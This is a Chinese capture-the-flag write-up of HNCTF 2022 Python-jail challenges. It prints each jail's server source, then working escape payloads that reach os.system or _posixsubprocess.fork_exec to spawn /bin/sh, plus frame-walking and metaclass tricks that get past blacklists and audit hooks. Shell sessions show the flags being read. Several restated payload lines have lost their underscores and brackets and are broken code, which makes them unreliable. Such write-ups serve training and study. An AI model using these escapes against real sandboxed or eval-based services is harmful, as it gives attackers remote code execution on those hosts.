_ _ _ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | | || | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_ __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)____/
__/ | _/ |
|___/ |__/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,",',+ Good luck!
> [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[list(dict(system=1))[0]](list(dict(sh=1))[0])
sh: 0: can't access tty; job control turned off
$
┌──(root㉿n1ng)-[~]
└─# nc node5.anna.nssctf.cn 27018
_ _ _ _ _ _ _ _ _ ___
| | (_) (_) (_) | | | | | || | |__ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_ ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| / /
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_ / /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)____|
__/ | _/ |
|___/ |__/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!
+被ban了,使用.add()代替吧,延续4.1的办法:
[].class.mro[-1].subclasses()[-4].init.globals(type(str(1).encode())([115]).add(type(str(1).encode())([121])).add(type(str(1).encode())([115])).add(type(str(1).encode())([116])).add(type(str(1).encode())([101])).add(type(str(1).encode())([109]))).decode()
> [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]((type(str(1).encode())([115]).__add__(type(str(1).encode())([104]))).decode())
sh: 0: can't access tty; job control turned off
$ ls
flag_y0u_CaNt_FiNd_mE server.py
$ cat flag_y0u_CaNt_FiNd_mE
flag=NSSCTF{67e021ab-e859-421a-949f-0d0b81f3933d}
$ cat server.py
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes']
my_eval_func_00EFCDB = eval
my_input_func_00FDCAB = input
for m in BANLIST:
del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
not_allowed = set('"\'`+')
return any(c in not_allowed for c in s)
WELCOME = '''
_ _ _ _ _ _ _ _ _ ___
| | (_) (_) (_) | | | | | || | |__ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_ ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| / /
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_ / /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)____|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,\",',+ Good luck!")
input_data = my_input_func_00FDCAB("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_00EFCDB(input_data)))
方法+1:利用__doc__的方法但需要改变字符串的拼接方法:除了直接用+连接字符串以外,还有join,如字符串'1234'可以用如下的方式得到:''.join(['1', '2', '3', '4'])
().class.base.subclasses()[-4].init.globalsstr().join([().doc[19],().doc[86],().doc[19],().doc[4],().doc[17],().doc[10]])
方法++1:4.1直接用
().class.base.subclasses()[-4].init.globals[().class.base.subclasses()[6]([115, 121, 115, 116, 101, 109]).decode()](().class.base.subclasses()[6]([115, 104]).decode())
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.3(JAIL)
_ _ _ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | | || | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_ __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)____/
__/ | _/ |
|___/ |__/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,",',+ Good luck!
type,+都让ban了,可以用.__add__代替+,延续使用4.2方法
().class.base.subclasses()[-4].init.globalsstr().join([().doc[19],().doc[86],().doc[19],().doc[4],().doc[17],().doc[10]])
> ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))
sh: 0: can't access tty; job control turned off
$ ls
flag_7e86c334669ecf2edb5bd7f7fdd0ea8e server.py
$ cat flag_7e86c334669ecf2edb5bd7f7fdd0ea8e
flag=NSSCTF{6a8b80a8-99ba-4bd6-bfae-92b8cfce851b}
$ cat server.py
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr','input','locals','globals','bytes','type','open']
my_eval_func_002EFCDB = eval
my_input_func_000FDCAB = input
for m in BANLIST:
del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
not_allowed = set('"\'`+')
return any(c in not_allowed for c in s)
def main():
WELCOME = '''
_ _ _ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | | || | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_ __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,\",',+ Good luck!")
input_data = my_input_func_000FDCAB("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(my_eval_func_002EFCDB(input_data)))
if __name__ == '__main__':
main()
4.1的方法也可以:().class.base.subclasses()[-4].init.globals[().class.base.subclasses()[6]([115, 121, 115, 116, 101, 109]).decode()](().class.base.subclasses()[6]([115, 104]).decode())
新方法:list(dict(system=114514))[0]可以获取system这个字符串
[].class.mro[-1].subclasses()[-4].init.globalslist(dict(system=1))[0]
[HNCTF 2022 WEEK2]laKe laKe laKe(JAIL)
#You finsih these two challenge of leak
#So cool
#Now it's time for laKe!!!!
import random
from io import StringIO
import sys
sys.addaudithook
BLACKED_LIST = ['compile', 'eval', 'exec', 'open']
eval_func = eval
open_func = open
for m in BLACKED_LIST:
del __builtins__.__dict__[m]
def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))
def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout
try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout
if input_data == right_guesser_question_answer:
game_score += 1
return game_score
WELCOME='''
_ _ __ _ _ __ _ _ __
| | | |/ / | | | |/ / | | | |/ /
| | __ _| ' / ___ | | __ _| ' / ___ | | __ _| ' / ___
| |/ _` | < / _ \ | |/ _` | < / _ \ | |/ _` | < / _ \
| | (_| | . \ __/ | | (_| | . \ __/ | | (_| | . \ __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
'''
def main():
print(WELCOME)
print('Welcome to my guesser game!')
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print(open_func('flag').read())
else:
print('Guess game end!!!')
if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()
import('os').open("flag")打开文件,import('os').read()读取文件,import("sys").stdout.write()写入
构造出:import("sys").stdout.write(import("os").read(import("os").open("flag",import("os").O_RDONLY), 0x114).decode())
[HNCTF 2022 WEEK2]lak3 lak3 lak3(JAIL)
#Hi hackers,lak3 comes back
#Have a good luck on it! :Wink:
import random
from io import StringIO
import sys
sys.addaudithook
BLACKED_LIST = ['compile', 'eval', 'exec']
eval_func = eval
open_func = open
for m in BLACKED_LIST:
del __builtins__.__dict__[m]
def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))
def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout
try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout
if input_data == right_guesser_question_answer:
game_score += 1
return game_score
WELCOME='''
_ _ ____ _ _ ____ _ _ ____
| | | | |___ \ | | | | |___ \ | | | | |___ \
| | __ _| | __ __) | | | __ _| | __ __) | | | __ _| | __ __) |
| |/ _` | |/ /|__ < | |/ _` | |/ /|__ < | |/ _` | |/ /|__ <
| | (_| | < ___) | | | (_| | < ___) | | | (_| | < ___) |
|_|\__,_|_|\_\____/ |_|\__,_|_|\_\____/ |_|\__,_|_|\_\____/
'''
def main():
print(WELCOME)
print('Welcome to my guesser game!')
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print('flag{fake_flag_in_local_but_really_in_The_remote}')
else:
print('Guess game end!!!')
if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()
能用的全ban了,找大佬Kicky_Mu文章学习一下吧
这个函数可以获取调用栈的帧对象,默认的参数是0,但是在这里如果传入0的话就会获取eval的调用栈帧,所以得deep一层__import__("sys").getframe(1)
使用__import_("sys").stdout.write的输入方法去进行标准输出__import__("sys").stdout.write(str(import("sys").getframe(1)))
得到:<frame at 0x7fe474405590, file '/home/ctf/./server.py', line 31, code guesser>
frame对象指向'/home/ctf/./server.py'这个file,直接调用f_locals属性查看变量__import_("sys").stdout.write(str(import("sys")._getframe(1).f_locals))
得到:{'game_score': 0, 'right_guesser_question_answer': 9067766771327, 'challenge_original_stdout': <_io.TextIOWrapper name='
获取到了right_guesser_question_answer的值,直接输入是不返回flag的,要构造pyload:int(str(import('sys')._getframe(1).f_locals["right_guesser_question_answer"]))
[HNCTF 2022 WEEK3]s@Fe safeeval(JAIL)
Warning: _curses.error: setupterm: could not find terminfo database
Terminal features will not be available. Consider setting TERM variable to your current terminal name (or xterm).
______ __ _
____ | ____| / _| | |
___ / __ \| |__ ___ ___ __ _| |_ ___ _____ ____ _| |
/ __|/ / _` | __/ _ \ / __|/ _` | _/ _ \/ _ \ \ / / _` | |
\__ \ | (_| | | | __/ \__ \ (_| | || __/ __/\ V / (_| | |
|___/\ \__,_|_| \___| |___/\__,_|_| \___|\___| \_/ \__,_|_|
\____/
Turing s@Fe mode: on
Black List:
[
'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
'BUILD_CONST_KEY_MAP', 'BUILD_STRING','LOAD_CONST','RETURN_VALUE',
'STORE_SUBSCR', 'STORE_MAP','LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE',
'DICT_UPDATE', 'DICT_MERGE','UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY','BINARY_DIVIDE','BINARY_FLOOR_DIVIDE',
'BINARY_TRUE_DIVIDE','BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT','BINARY_LSHIFT',
'BINARY_RSHIFT','BINARY_AND','BINARY_XOR','BINARY_OR','MAKE_FUNCTION', 'CALL_FUNCTION'
]
some code:
import os
import sys
import traceback
import pwnlib.util.safeeval as safeeval
input_data = input('> ')
print(expr(input_data))
def expr(n):
if TURING_PROTECT_SAFE:
m = safeeval.test_expr(n, blocklist_codes)
return eval(m)
else:
return safeeval.expr(n)
对照pwnlib.util.safeeval文档,发现blacklist中多了两个可以执行的opcode:MAKE_FUNCTION和CALL_FUNCTION
使用lambda直接调用,(lambda:os.system('cat flag'))()
[HNCTF 2022 WEEK3]calc_jail_beginner_level6(JAIL)
上强度了,好难!!!
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | / /
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| |/ /_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | (_) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
__/ | _/ |
|___/ |__/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
White list of audit hook ===> builtins.input,builtins.input/result,exec,compile
Some code of python jail:
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)
学习大佬的文章吧,难死了,几乎把所有的hook给ban了
利用_posixsubprocess.fork_exec来实现RCE。不过需要注意,不同的python版本的_posixsubprocess.fork_exec接受的参数个数可能不一样:例如本地WSL的python版本为3.8.10,该函数接受17个参数;而远程python版本为3.10.6,该函数和上面的writeup接受21个参数。
而且注意到,直接import posixsubprocess的话,会触发audit hook:
Operation not permitted: import
用__builtins_['loader'].load_module('posixsubprocess')或者__loader_.load_module('_posixsubprocess')绕过
而且因为是多次exec,所以我们可以输入多行代码:
import os
loader.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)
不知道为啥老是掉,多试几次就好了
来之不易啊,抓住几乎看看源码:
import sys
def my_audit_hook(my_event, _):
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
if my_event not in WHITED_EVENTS:
raise RuntimeError('Operation not permitted: {}'.format(my_event))
def my_input():
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)
def main():
WELCOME = '''
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | / /
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| |/ /_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | (_) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
__/ | _/ |
|___/ |__/
'''
CODE = '''
dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("White list of audit hook ===> builtins.input,builtins.input/result,exec,compile")
print("Some code of python jail:")
print(CODE)
my_input()
if __name__ == "__main__":
sys.addaudithook(my_audit_hook)
main()
[HNCTF 2022 WEEK3]calc_jail_beginner_level6.1(JAIL)
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | / /
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| |/ /_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | (_) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
__/ | _/ |
|___/ |__/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
White list of audit hook ===> builtins.input,builtins.input/result,exec,compile
Some code of python jail:
dict_global = dict()
input_code = input("> ")
complie_code = compile(input_code, '<string>', 'single')
exec(complie_code, dict_global)
发现只有一次代码执行机会,想到python 3.8引入的海象运算符和list的方式弄出代码
[os := import('os'), _posixsubprocess := loader.load_module('_posixsubprocess'), _posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)]
但是发现payload刚发送过去虽然可以弹shell,但是shell秒关。
暴力破解shell,量变引起质变:[os := import('os'), _posixsubprocess := loader.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in range(10000000000)]]
[HNCTF 2022 WEEK3]calc_jail_beginner_level7(JAIL)
TERM environment variable not set.
_ _ _ _ _ _ _ ______
(_) (_) | | | (_) | | | |____ |
_ __ _ _| | | |__ ___ __ _ _ _ __ _ __ ___ _ __ | | _____ _____| | / /
| |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ | / /
| | (_| | | | | |_) | __/ (_| | | | | | | | | __/ | | | __/\ V / __/ | / /
| |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_| |_|\___| \_/ \___|_|/_/
_/ | __/ |
|__/ |___/
=================================================================================================
== Welcome to the calc jail beginner level7,It's AST challenge ==
== Menu list: ==
== [G]et the blacklist AST ==
== [E]xecute the python code ==
== [Q]uit jail challenge ==
=================================================================================================
#用G查看一下
=================================================================================================
== Black List AST: ==
== 'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef ==
== Sub,Mult,Div,Del' ==
=================================================================================================
Press any key to continue
#E输入脚本
没有了import和call,但可以用metaclass,通过metaclass给类添加属性
将一个类的某个属性修改为os.system这样的函数,调用的时候就可以执行;结合之前提到__getitem__可以传入字符串的属性,就可以完美构造payload
import os
class WOOD():
pass
WOOD.__getitem__=os.system
WOOD()['sh']
运行后发现执行了sh但这样依然无法解决这个题,上述代码转为AST查看,会发现有Call和Expr
import ast
src='''
import os
class WOOD():
pass
WOOD.__getitem__=os.system
WOOD()['sh']
'''
ast_node = ast.parse(src, "test", mode="exec")
print(ast.dump(ast_node))
"""
Module(body=[Import(names=[alias(name='os', asname=None)]), ClassDef(name='WOOD', bases=[], keywords=[], body=[Pass()], decorator_list=[]), Assign(targets=[Attribute(value=Name(id='WOOD', ctx=Load()), attr='__getitem__', ctx=Store())], value=Attribute(value=Name(id='os', ctx=Load()), attr='system', ctx=Load()), type_comment=None), Expr(value=Subscript(value=Call(func=Name(id='WOOD', ctx=Load()), args=[], keywords=[]), slice=Index(value=Constant(value='ls', kind=None)), ctx=Load()))], type_ignores=[])
"""
避开Expr,可以通过执行的内容赋值完成;绕过Call,可以用metaclass,指定一个类的__getitem__==os.system,使用mateclass可以让类拥有属性,但不是类生成的对象具有这个属性,这样我们就不用调用实例化类的Call,从而进行绕过Call。
class WOOD(type):
__getitem__=os.system
class WHALE(metaclass=WOOD):
pass
tmp = WHALE['sh']
TERM environment variable not set.
_ _ _ _ _ _ _ ______
(_) (_) | | | (_) | | | |____ |
_ __ _ _| | | |__ ___ __ _ _ _ __ _ __ ___ _ __ | | _____ _____| | / /
| |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ | / /
| | (_| | | | | |_) | __/ (_| | | | | | | | | __/ | | | __/\ V / __/ | / /
| |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_| |_|\___| \_/ \___|_|/_/
_/ | __/ |
|__/ |___/
=================================================================================================
== Welcome to the calc jail beginner level7,It's AST challenge ==
== Menu list: ==
== [G]et the blacklist AST ==
== [E]xecute the python code ==
== [Q]uit jail challenge ==
=================================================================================================
e
Pls input your code: (last line must contain only --HNCTF)
class WOOD(type):
__getitem__=os.system
class WHALE(metaclass=WOOD):
pass
tmp = WHALE['sh']
--HNCTF
check is passed!now the result is:
sh: 0: can't access tty; job control turned off
$ ls
flag server.py
$ cat flag
flag=NSSCTF{20975f9c-99ec-4a36-af87-1faf3bc77442}
$ cat server.py
import ast
import sys
import os
WELCOME = '''
_ _ _ _ _ _ _ ______
(_) (_) | | | (_) | | | |____ |
_ __ _ _| | | |__ ___ __ _ _ _ __ _ __ ___ _ __ | | _____ _____| | / /
| |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ | / /
| | (_| | | | | |_) | __/ (_| | | | | | | | | __/ | | | __/\ V / __/ | / /
| |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_| |_|\___| \_/ \___|_|/_/
_/ | __/ |
|__/ |___/
'''
def verify_ast_secure(m):
for x in ast.walk(m):
match type(x):
case (ast.Import|ast.ImportFrom|ast.Call|ast.Expr|ast.Add|ast.Lambda|ast.FunctionDef|ast.AsyncFunctionDef|ast.Sub|ast.Mult|ast.Div|ast.Del):
print(f"ERROR: Banned statement {x}")
return False
return True
def exexute_code(my_source_code):
print("Pls input your code: (last line must contain only --HNCTF)")
while True:
line = sys.stdin.readline()
if line.startswith("--HNCTF"):
break
my_source_code += line
tree_check = compile(my_source_code, "input_code.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_ast_secure(tree_check):
print("check is passed!now the result is:")
compiled_code = compile(my_source_code, "input_code.py", 'exec')
exec(compiled_code)
print("Press any key to continue")
sys.stdin.readline()
while True:
os.system("clear")
print(WELCOME)
print("=================================================================================================")
print("== Welcome to the calc jail beginner level7,It's AST challenge ==")
print("== Menu list: ==")
print("== [G]et the blacklist AST ==")
print("== [E]xecute the python code ==")
print("== [Q]uit jail challenge ==")
print("=================================================================================================")
ans = (sys.stdin.readline().strip()).lower()
if ans == 'g':
print("=================================================================================================")
print("== Black List AST: ==")
print("== 'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef ==")
print("== Sub,Mult,Div,Del' ==")
print("=================================================================================================")
print("Press any key to continue")
sys.stdin.readline()
elif ans == 'e':
my_source_code = ""
exexute_code(my_source_code)
elif ans == 'q':
print("Bye")
quit()
else:
print("Unknown options!")
quit()